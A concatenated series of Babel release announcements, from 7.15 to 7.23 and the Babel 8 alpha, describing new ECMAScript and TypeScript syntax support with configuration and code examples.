You can try this proposal using the @babel/plugin-proposal-optional-chaining-assign plugin. Given the early stage and thus the high possibility of breaking changes, you must specify which version you want to use (currently only 2023-07 is supported):

// babel.config.json
{
  "plugins": [
    ["@babel/plugin-proposal-optional-chaining-assign", {
      "version": "2023-07"
    }]
  ]
}

TypeScript updates (#15896, #15913)​

Babel 7.23.0 now supports parsing TypeScript 5.2, whose only syntactic addition is the introduction of tuple types having both labeled and unlabeled entries.

In addition to that, @babel/preset-typescript now has a rewriteImportExtensions option that, when enabled, will rewrite .ts/.mts/.cts extensions in your import declarations to .js/.mjs/.cjs. Together with TypeScript's allowImportingTsExtension option, this allows you to write complete relative specifiers in your imports while using the same extension used by the files you are authoring.

As an example, given this project structure (where src contains the source files, and dist the compiled files):

.
├── src
│   ├── main.ts
│   └── dep.ts
├── dist
│   ├── main.js
│   └── dep.js
├── babel.config.json
└── tsconfig.json

and with the following configuration files:

{
  "presets": [
    ["@babel/preset-typescript", {
      "rewriteImportExtensions": true
    }]
  ]
}

{
  "compilerOptions": {
    "lib": ["esnext"],
    "noEmit": true,
    "isolatedModules": true,
    "moduleResolution": "nodenext",
    "allowImportingTsExtensions": true
  }
}

you will be able to write import x from "./dep.ts" in main.ts, and Babel will transform it to import x from "./dep.js" when compiling main.ts to main.js.

Babel 8 alpha​

After multiple years working on it, we finally released Babel 8.0.0 alpha! 🥳

Future pre-release will include more breaking changes, so we do not recommend to use it in production unless you are willing to keep up with all the changes as they come. However, you can already start getting ready for what will be Babel 8.0.0 stable:

• You can install it with npm install -D @babel/core@next (or the equivalent command with your package manager), and verify if it already works in your project. Please make sure that all the @babel/* packages in your package.json have exactly the same version (for example, 8.0.0-alpha.2).
• You can read the migration guide for users: many of the breaking changes introduced in Babel 8 can already be enabled in Babel 7, and Babel 8 will simply remove the relative options making them the default behavior.
• If you are a Babel plugin author, or if you use the Babel programmatic API directly, you can read the migration guide for integration authors and make sure that your library works well with Babel 8.

In addition to the migration guides, you can read the full changelog of the various Babel 8 pre-releases on GitHub.

We also updated our implementation of decorators following some changes in the proposal, and added support for the TypeScript import ... = and export ... = statements.

@babel/preset-env now includes transform support for the v regular expressions flag, which was recently approved as part of the ECMAScript standard, by default. Lastly, we renamed all the plugins for stable ECMAScript features from -proposal- to -transform-.

You can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

Explicit Resource Management (#15633, #15520)​

The Explicit Resource Management Stage 3 proposal allows defining variables containing resources that will be "disposed" when exiting the scope where they are declared. This is done through using (for synchronous disposal) and await using (for asynchronous disposal) declarations:

{
  using fileHandle = filesystem.open("./my/file.txt");

  write(fileHandle, "Hello!");
} // At the end of the block, fileHandle will be automatically closed.

{
  await using db = await Database.connect("//my-db.sql");
  db.query("INSERT INTO tools (name, version) VALUES ('Babel', '7.22.0')");
} // At the end of the block, the db connection will be closed asynchronously

You can enable support for this proposal by adding @babel/plugin-proposal-explicit-resource-management to your Babel config:

 {
   "plugins": [
     "@babel/plugin-proposal-explicit-resource-management"
   ]
 }

You can also try out this proposal in our REPL.

Import Attributes (#15536, #15620)​

The "import assertions" proposal's syntax changed to use the with keyword instead of assert, and it has also been renamed to "import attributes":

import json from "./foo.json" with { type: "json" };

import("./foo.json", { with: { type: "json" } });

We've implemented parsing support for this new version of the proposal, which can be enabled using the @babel/plugin-syntax-import-attributes plugin (or, if you are directly using @babel/parser, importAttributes):

 {
   "plugins": [
-    "@babel/syntax-import-assertions",
+    "@babel/syntax-import-attributes"
   ]
 }

You can read more about the changes to the proposal in the slides presented at the March TC39 meeting, and about the motivation in the slides presented at the January TC39 meeting.

To ease the migration from with to assert, if you run the Babel-compiled code only in tools and runtimes that support the legacy syntax but do not support yet the new one (such as Node.js 20 or Rollup 3.21), you can use the @babel/plugin-proposal-import-attributes-to-assertions:

 {
   "plugins": [
-    "@babel/syntax-import-assertions",
+    "@babel/plugin-proposal-import-attributes-to-assertions"
   ]
 }

🛑 Note that this plugin generates deprecated code that will not work in tools and runtimes only supporting the with syntax now described by the proposal.

Decorators updates (#15570)​

The TC39 committee received further feedback by JavaScript tools and engines implementing decorators, and refined the proposal, and designed different changes and bugfixes in response to it.

The relevant changes for Babel users are:

• accessor static fields now work with derived classes:
  JavaScript

  class Base {
    static accessor x = 2;
  }
  class Derived extends Base {}
  
  Derived.x; // Used to throw, now returns `2`
  

• Decorators stored in object properties are now called using the object as this instead of undefined:
  JavaScript

  let MyDecs = {
    dec() {
      console.log(this); // Now logs `MyDecs` instead of `undefined`
    }
  };
  
  @MyDecs.dec class {}
  

You can use this new decorators version by passing the version: "2023-05" option to the decorators plugin:

 {
   "plugins": [
     ["@babel/plugin-proposal-decorators", {
       "version": "2023-05"
     }]
   ]
 }

You can also try using the new version of the proposal in our REPL, enabling the "Stage 3" preset and choosing the appropriate decorators version.

TypeScript import ... = and export = statements​

When using the TypeScript verbatimModuleSyntax option, ESM import/export statements are disallowed in CommonJS files. Instead, developers must use the import ... = and export = statements:

import A = require("./a");

export = { x: 2 };

which desugar to:

const A = require("./a");

module.exports = { x: 2 };

This syntax is only supported in ECMAScript modules, and only when compiling them to CommonJS. Unless you have some custom configuration, this means:

• in .cts files, when using @babel/preset-typescript
• in .ts files written as ESM and compiled with @babel/plugin-transform-modules-commonjs

Renamed packages​

From now on, we will rename -proposal- plugins to -transform- once they reach Stage 4 in the standardization process and thus become stable. The following packages have been renamed:

These plugins are all included by default in @babel/preset-env: if you are using the preset, you don't need to explicitly list them in your configuration and thus this change will not affect you. The packages with the old name will no longer be updated.

Babel now supports the Inline RegExp modifiers proposal, the latest version of the Decorators proposal, and the new TypeScript 5.0 syntax.

You can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

Inline RegExp modifiers​

The Inline RegExp modifiers Stage 3 proposal allows you to enable or disable the i, m and s for part of a regular expression, without affecting other parts.

You can use the (?enableFlags:subPattern) syntax to enable flags, (?-disableFlags:subPattern) to disable them, and (?enableFlags-disableFlags:subPattern) to enable some and disable others at the same time. You can think of non-capturing group (?:subPattern) as a special case where no flags are modified.

As an example, /(?i:a)a/ matches an a ignoring its case, followed by a lowercase a:

/(?i:a)a/.test("aa"); // true
/(?i:a)a/.test("Aa"); // true
/(?i:a)a/.test("aA"); // false

/a(?-i:a)/i is equivalent: the regular expression is case insensitive, expect for the second a which must be lowercase.

You can enable this proposal by installing the @babel/plugin-proposal-regexp-modifiers package and adding it to your Babel configuration:

{
  "presets": ["@babel/preset-env"],
  "plugins": [
    // Add this!
    "@babel/plugin-proposal-regexp-modifiers"
  ]
}

Decorators updates​

TC39, the committee that standardizes JavaScript, recently approved some changes to the Decorators proposal based on feedback from the TypeScript team.

• Decorators on exported classes can now come either before or after the export keyword, but not in both places at the same time:
  JavaScript

  // valid
  @dec
  export class A {}
  
  // valid
  export @dec class B {}
  
  // invalid
  @dec
  export @dec class C {}
  

  This relaxed restriction aims at simplifying migration from the "legacy" decorators version, by reducing the syntactic differences.
• The methods on the context.access object provided to decorators expect the target object as their first parameter, rather than as their this receiver:
  JavaScript

  let accessX;
  
  function dec(desc, context) {
    accessX = context.access;
    return dec;
  }
  
  class A {
    @dec #x = 1;
  }
  
  // old semantics
  accessX.get.call(new A) === 1;
  
  // new semantics
  accessX.get(new A) === 1;
  

• context.access has a new .has method, to check if an object has the corresponding element. Continuing the example above:
  JavaScript

  // #x in new A
  accessX.has(new A) === true;
  

You can enable this new version of the decorators proposal by setting the version option of "@babel/plugin-proposal-decorators" to "2023-01":

{
  "presets": ["@babel/preset-env"],
  "plugins": [
    ["@babel/plugin-proposal-decorators", { "version": "2023-01" }]
  ]
}

You can also try the new decorators proposal in the online Babel REPL, enabling the "Stage 3" (or lower) preset in the sidebar and choosing the 2023-01 decorators version.

TypeScript 5.0​

TypeScript 5.0, currently released as a beta prerelease, introduces two new syntactic features:

• const modifiers for type parameters
  TypeScript

  function getName<const T extends { name: string }>(user: T): T["name"] {
      return user.name;
  }
  
  let name = getName({ name: "Babel" });
  //  ^? inferred type: "Babel", instead of just string.
  

• export type * declarations
  TypeScript

  export type * from "./mod";
  export type * as ns from "./mod";
  

  Babel relies on this new syntax to safely remove the re-export declaration while compiling from TypeScript to JavaScript.

Additionally, TypeScript 5.0 introduces support for the standard Decorators proposal, that you can enable in Babel using @babel/plugin-proposal-decorators.

You can read more about the new TypeScript features in their release post!

Experimental support for .cts configuration files​

If you installed @babel/preset-typescript, or if you are running Babel using ts-node, you can now use babel.config.cts as a Babel configuration file written in TypeScript and CommonJS. You can read more about this in the documentation.

It's not possible yet to use babel.config.ts and babel.config.mts files, pending stabilization of the Node.js ESM loader API.

Source maps improvements​

Source maps generated by Babel now support Friendly Call Frames, to show better names for trasformed functions in devtools.

Additionally, @babel/generator now accepts input source maps generated from other tools in the build pipeline: this allows to properly merge source maps even when using @babel/generator directly without @babel/core, and improves the general performance of source map merging in when using Babel.

This release includes support for TypeScript 4.9, and parser support for the Import Reflection and Explicit Resource Management Stage 2 proposals. Additionally, you can now use Deno as one of your compilation targets.

In the past few releases we have made gradual improvements @babel/generator's code location tracking, which lead to higher source map quality and better positioning of comments in the generated output.

We are also releasing version 9.0.0 of babel-loader, the Babel loader for Webpack.

You can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

TypeScript 4.9 (#14211)​

TypeScript 4.9 introduces a new keyword operator, satisfies, that lets you assert that an expression has a given type without actually casting that expression:

let a = { x: 1, y: 2 } as const;
//  ^ type is { x: 1, y: 2 }

let b = a satisfies { [key: string]: number };
//  ^ type is still { x: 1, y: 2 }, and not { [key: string]: number }!

a satisfies { [key: string]: string };
// error! a does not satisfies that type

You can read more about this in the TypeScript 4.9 release post 😉.

Babel can now parse and strip away those annotations when using @babel/plugin-transform-typescript or @babel/preset-typescript, allowing you to start using the new TypeScript version.

Deno compilation target (#14944)​

When compiling for Deno, you can configure @babel/preset-env to only compile the features not supported by your Deno version. While Deno usually ships new ECMAScript features as soon as possible, you might need to support older engine versions.

You can enable it using the targets option:

{
    "targets": { "deno": "1.20" },
    "presets": ["@babel/preset-env"]
}

babel-loader 9.0.0​

This new major version of babel-loader drops support for Webpack < 5, for Babel < 7.12 and for Node.js < 14.15 LTS.

Loader options cannot be specified using the query parameters: instead of specifying options inline (for example, loader: "babel-loader?presets=@babel/preset-env") you will have to use the options object:

{
    loader: "babel-loader",
    options: {
        presets: ["@babel/preset-env"]
    }
}

You can also use a dedicated Babel configuration file, such as babel.config.json.

If you are not using query parameters to specify Babel options, and if you are on a modern version of Webpack, Babel and Node.js, you should be able to update without changes to your Webpack or Babel configurations.

This release updates our implementation of the decorators proposal, which reached Stage 3 in March. It also includes support for the new duplicate named capturing groups proposal for regular expressions.

You can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

New default values​

Given the stabilization of the decorators and Record and Tuple proposal, we set some default values for their parser plugin options:

• decorators/@babel/plugin-proposal-decorators's decoratorsBeforeExport now defaults to false;
• recordAndTuple/@babel/plugin-proposal-record-and-tuple's syntaxType option now defaults to hash.

These options will be removed in Babel 8.

Stage 3 decorators (#14836)​

The decorators proposal was promoted to Stage 3 with some minor but observable changes. You can enable the new version using the "version": "2022-03" option of @babel/plugin-proposal-decorators:

{
  "plugins": [
    ["@babel/plugin-proposal-decorators", {
        "version": "2022-03"
    }]
  ]
}

If you are migrating from the 2021-12 version, the following breaking changes might affect you:

• the initialize method of the object returned by accessor decorators has been renamed to init;
• the isPrivate and isStatic properties of the context parameter received by the decorators (the second one) have been renamed to private and static;
• the context parameter now always has an access property, regardless of the decorated element type;
• support for metadata (getMetadata/setMetadata) has been removed and postponed to a future proposal;
• @(expression)()-style decorators are disallowed, and you must use @(expression());
• decorators are applied in the following order, instead of in a single pass:
  1. static method decorators
  2. proto method decorators
  3. static field decorators
  4. instance field decorators
  5. class decorators.

If you are migrating from an older version of the proposal, we suggest reading the full README. 😉

💡 TypeScript plans to implement this version of the proposal. After almost a decade, it will be possible to write decorators without worrying if they will be compiled by Babel or tsc!

RegExp duplicate named capturing groups (#14805)​

Babel now supports the RegExp duplicate named capturing groups proposal, which allows re-using the same group name in alternative RegExp branches:

const dateRE = /(?<year>\d\d\d\d)-(?<month>\d\d)|(?<month>\d\d)-(?<year>\d\d)/;

console.log("2022-12".match(dateRE).groups); // { year: "2022", month: "12" }
console.log("12-2022".match(dateRE).groups); // { year: "2022", month: "12" }

You can enable this proposal using the @babel/plugin-proposal-duplicate-named-capturing-groups-regex plugin:

{
  "plugins": ["@babel/proposal-duplicate-named-capturing-groups-regex"]
}

Babel relies on different third-party packages to transform regular expressions: this is possible thanks to the maintainers of regjsparser, regjsgen and regexpu-core who took time to review our pull requests!

This release includes support for the private destructuring proposal and for TypeScript 4.7.

You can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

Private destructuring (#14304)​

Babel supports transforming the private destructuring proposal. Now you can use private fields or methods in destructuring patterns:

class Foo {
  #x = 0;
  y = 0;

  equals(obj) {
    const { #x: x, y: y } = this;

    return (
      x === obj.#x && y === obj.y
    );
  }
}

class Foo {
  #x = 0;
  y = 0;

  equals(obj) {
    const x = this.#x,
      { y } = this;

    return (
      x === obj.#x && y === obj.y
    );
  }
}

You can enable it by adding the @babel/plugin-proposal-destructuring-private plugin to your configuration.

To minimize the transpiling footprint, the code generated by this plugin will still expect non-private destructuring and private elements support. If you need to compile them further, you can enable the relevant plugins (or you can use @babel/preset-env).

TypeScript 4.7 support (#14359, #14457, #14476)​

TypeScript 4.7 supports different new syntactic features:

• instantiation expressions, which allow specifying type arguments of functions without invoking them:

  const identity = <T>(val: T) => val;
  
  const stringIdentity = identity<string>; // (val: string) => string;
  

• explicit variance annotations for type arguments, to guide the TypeScript type checker when computing compatibility between different types:

  type Provider<out T> = () => T;
  type Consumer<in T> = (x: T) => void;
  type Mapper<in T, out U> = (x: T) => U;
  type Processor<in out T> = (x: T) => T;
  

  In this example, Provide<string> is a subtype of Provider<string | number> while Consumer<string | number> is a subtype of Consumer<string>.

• constraints for the infer operator in conditional types:

  type GetColor<T> =
    T extends { color: infer C extends "red" | "pink" }
      ? C
      : "unknown color";
  

You can read the full TypeScript 4.7 release announcement on their blog.

Inline regenerator-runtime helper (#14538)​

Starting from Babel 7.18.0, regenerator-runtime is automatically injected in the same way that Babel injects the other runtime helpers, without relying on an implicit regeneratorRuntime global. When not using @babel/plugin-transform-runtime, Babel will automatically inline the regeneratorRuntime helper:

• you can stop manually loading regenerator-runtime (with import, require or <script>);
• you can delete "regenerator-runtime" from your dependencies in package.json.

For example this is the output difference between old and new Babel versions when compiling var f = function*() {};:

+function _regeneratorRuntime() { /* ... */ }

-var f = /*#__PURE__*/regeneratorRuntime.mark(function f() {
+var f = /*#__PURE__*/_regeneratorRuntime().mark(function f() {
-  return regeneratorRuntime.wrap(function f$(_context) {
+  return _regeneratorRuntime().wrap(function f$(_context) {
     while (1) {
       switch (_context.prev = _context.next) {
         case 0:
         case "end":
           return _context.stop();
       }
     }
   }, f);
 });

After years of iterations, rewrites and adjustments it looks like the decorators proposal has finally stabilized again on a new design! This release includes both parse and transform support for the new proposal.

We also implemented the RegExp v flag proposal and added parsing support for destructuring private fields, both currently Stage 2. Lastly, a new experimental implementation of @babel/register.

You can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective or GitHub Sponsors and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

Decorators (#14004, #13681)​

After receiving feedback from JavaScript developers, engine developers and language experts, the decorators proposal was rewritten to take into account multiple constraints and desires. We collaborated with the current proposal author, @pzuraq to implement the new Stage 2 proposal in Babel.

The new implementation also supports decorating private class elements, as well as the new "class auto accessors" syntax:

@defineElement("button")
class Button {
  @reactive accessor enabled = true; // class auto accessors

  @event("onClick") #handleClick() { // decorator on a private method
    console.log("clicked!");
  }
}

You can enable the new proposal by passing the "version": "2021-12" option to @babel/plugin-proposal-decorators:

{
  "plugins": [
    ["@babel/plugin-proposal-decorators", {
        "version": "2021-12"
    }]
  ]
}

If you want to help move the proposal forward, you can try using it and leave feedback in their GitHub repository.

RegExp set notation and properties of strings (#14125)​

Babel now supports the RegExp set notation and properties of strings proposal, which introduces three new regular expression features behind a new v flag:

• Extended set notation, which allows computing difference, intersection and union of characters or strings sets
  JavaScript

  /[\p{Decimal_Number}--[0-9]]/v; // Non-ASCII decimal digits
  /[\p{ASCII}&&\p{Letter}]/v; // ASCII letters
  /[[\p{ASCII}&&\p{Letter}]\p{Number}]/v; // ASCII letters, or any digit
  

• Properties of strings, which allow using \p escapes with multi-codepoint properties
  JavaScript

  "Did you see the 👩🏿‍❤️‍💋‍👩🏾 emoji?".match(/\p{RGI_Emoji}/v). // ["👩🏿‍❤️‍💋‍👩🏾"]
  

• Multi-codepoint strings in sets, using a new \q escape
  JavaScript

  /[\r\n\q{\r\n|NEWLINE}]/v; // Matches \r, \n, \r\n or NEWLINE
  

You can enable this proposal using the @babel/plugin-proposal-unicode-sets-regex plugin:

{
  "plugins": ["@babel/plugin-proposal-unicode-sets-regex"]
}

Babel relies on different third-party packages to transform regular expressions: we are grateful to the maintainers of regjsparser, regjsgen and regexpu-core who took time to review our pull requests!

@@ and ^^ topic tokens for Hack-style pipes (#13973)​

We are continuing to help the proposal authors evaluate different tokens for the pipeline operator proposal: one of the champions, J. S. Choi, added support for two new tokens that you can try with the topicToken option:

{
  "plugins": [
    ["@babel/plugin-proposal-pipeline-operator", {
      "proposal": "hack",
      "topicToken": "^^" // or "@@"
    }]
  ]
}

You can read more about the supported variations in the @babel/plugin-proposal-pipeline-operator docs.

Experimental @babel/register rewrite (#13782)​

We plan to release Babel 8 as an ESM package. However, this poses a big problem: how to load and run it synchronously in CommonJS packages?

Usually most Babel consumers can run Babel asynchronously, or at least load it asynchronously. This isn't true for @babel/eslint-parser (which integrates Babel's parser with ESLint) and @babel/register (which can be used to transpile Node.js files on-the-fly), where we need to move parsing and transforming to a separate worker.

Babel 7.16.0 exposes the new experimental @babel/register implementation at @babel/register/experimental-worker: it internally runs Babel asynchronously, so it's compatible with .mjs configuration files and with .mjs Babel plugins. It will be enabled by default in Babel 8, and you can already use it as a replacement for @babel/register with a few caveats:

• If you programmatically specify @babel/register options (using require("@babel/register")({ /* ... options */ })), you must make sure that they are serializable. This means that you cannot pass plugin functions defined inline, but you must move them to a separate ./my-plugin.js file or to a babel.config.js file.
• The new implementation is still experimental: it should have the same features as the existing one, but there are a few improvements that we are exploring.

We already released the new experimental @babel/eslint-parser implementation in Babel 7.15.0, exposed at @babel/eslint-parser/experimental-worker.

This release enables class static initialization blocks by default. It includes support for a new variant of the pipeline operator proposal, as well as TypeScript 4.5 compatibility.

Furthermore, @babel/eslint-parser now supports ESLint 8.

You can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

Class static blocks enabled by default (#13713)​

class MyClass {
  static {
    doSomeInitialization(MyClass);
    console.log("MyClass initialized!");
  }
}

Static blocks, that reached Stage 4 in August, are now enabled by default in @babel/parser and @babel/preset-env.

If you were using the classStaticBlock parser plugin, or @babel/plugin-syntax-class-static-block, you can safely remove them from your config.

If you already use @babel/preset-env, you can now remove @babel/plugin-proposal-class-static-block from your config.

TypeScript 4.5 features (#13802, #13838)​

TypeScript 4.5 introduces a new syntax for marking imports as type-only: rather than marking the whole import statement, you can mark a single specifier:

// TypeScript 4.4
import type { Foo } from "my-module";
import { fooInstance } from "my-module";

// TypeScript 4.5
import { type Foo, fooInstance } from "my-module";

It also supports two new file extensions: .mts and .cts, that mirror .mjs and .cjs. When passing an .mts or .cts file to Babel with @babel/preset-typescript enabled, it uses the file extension to detect the desired source type ("module" or "script").

.mts and .cts file cannot contain JSX code by default, but they cannot contain TypeScript annotations that would be ambiguous with JSX (<Type> cast and <T>() => {}).

You can read the full TypeScript 4.5 release post on their blog.

^ topic token for Hack-style pipes (#13749)​

The champions of the pipeline operator proposal are considering various topic tokens (the reference to the value from the previous pipeline step).

@babel/plugin-proposal-pipeline-operator (and the "pipelineOperator" parser plugin) now support three of them: #, ^ and %.

let values = getNames()
  |> ["default"].concat(^)
  |> await loadValues(^);

You can enable the current version of the pipeline operator proposal using the proposal: "hack" option, and you can choose the topic token using topicToken: "^":

{
  "plugins": [
    ["@babel/plugin-proposal-pipeline-operator", {
      "proposal": "hack",
      "topicToken": "^"
    }]
  ]
}

ESLint 8 support in @babel/eslint-parser (#13782)​

@babel/eslint-parser now supports ESLint 8: you can update your "eslint" dependency and it will just work.

If you are an ESLint plugin author, pay attention to the breaking change in the AST for class fields and private methods: when using ESLint 7 they follow the Babel AST shape; when using ESLint 8 they follow ESLint and the ESTree specification. This is because ESLint introduced support for these new class features starting from ESLint 8.

We also introduced a new compiler assumption, noIncompleteNsImportDetection, to produce a smaller output when compiling ECMAScript modules to CommonJS without worrying about partially initialized namespace imports caused by module cycles.

Additionally, you can now specify Rhino as a compilation target.

You can read the whole changelog on GitHub.

We're really grateful for all the support the community has shown over the last months, since our funding post update in May. Reach out at team@babeljs.io if you'd like to discuss about sponsorships!

Highlights​

ECMAScript features enabled by default​

In the last two meetings, the top-level await and ergonomic brand checks for private fields proposals reached Stage 4.

import * as db from "database";

await db.connect(); // top-level await

class DBConnector {
  #password;
  static isConnector(obj) {
    return #password in obj; // ergonomic brand checks
  }
}

Babel now supports them by default, so you can remove the following plugins from your configuration:

• @babel/plugin-syntax-top-level-await
• @babel/plugin-syntax-private-property-in-object
• @babel/plugin-proposal-private-property-in-object

Please note that Babel can currently only parse top-level await and cannot transform it.

New TypeScript features (#13324, #13528)​

TypeScript 4.4 doesn't include any new syntax that we had to implement, other than a minor restriction: you cannot specify the value of an abstract class field.

abstract class C {
    abstract prop = 1; // now a SyntaxError!
}

However, we did add two TypeScript features that we have been missing for a long time: const enums and namespace aliases (import Alias = Namespace).

Previously we presented an error when using const enums since it requires type information to compile correctly. As a workaround, the community built plugins such as babel-plugin-const-enum. Babel now ignores the const modifier when compiling enums, which matches TypeScript's behavior when using the --isolatedModules option.

If you want a more optimized output similar to the default code produced by TypeScript, you can enable the optimizeConstEnums option of @babel/plugin-tranform-typescript or @babel/preset-typescript.

// Input
const enum Animals { Dog }
console.log(Animals.Dog);

// Output (default)
var Animals;
(function (Animals) {
  Animals[Animals["Dog"] = 0] = "Dog";
})(Animals || (Animals = {}));

console.log(Animals.Dog);

// Output with `optimizeConstEnums`
console.log(0);